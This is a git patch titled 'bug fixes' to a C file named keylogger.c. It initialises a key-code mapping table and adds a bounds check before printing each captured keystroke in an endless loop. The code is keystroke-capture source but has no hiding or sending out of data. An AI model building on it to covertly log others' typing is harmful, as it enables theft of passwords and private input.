From c98fc1ce759c30fa1237d1a54085b1feb29106ae Mon Sep 17 00:00:00 2001 From: Dim Kouv Date: Fri, 25 Nov 2016 10:29:50 -0500 Subject: [PATCH] bug fixes --- keylogger.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/keylogger.c b/keylogger.c index 0ba7775..57eb092 100644 --- a/keylogger.c +++ b/keylogger.c @@ -65,6 +65,8 @@ int main(int argc, char *argv[]) { // Convert key codes to string values // ex: mappings[code] = "value" char * mappings[1024]; + int i; + for (i=0; i<1024; i++) mappings[i] = "invalid"; generate_mappings(mappings); @@ -86,7 +88,8 @@ int main(int argc, char *argv[]) { // Scan for key strokes and print them while (1){ int key_code = get_key_press(fd, ev); // get key code - printf("%s\n",mappings[key_code]); // print value of key code + if (key_code < 1024) + printf("%s\n",mappings[key_code]); // print value of key code } return 0;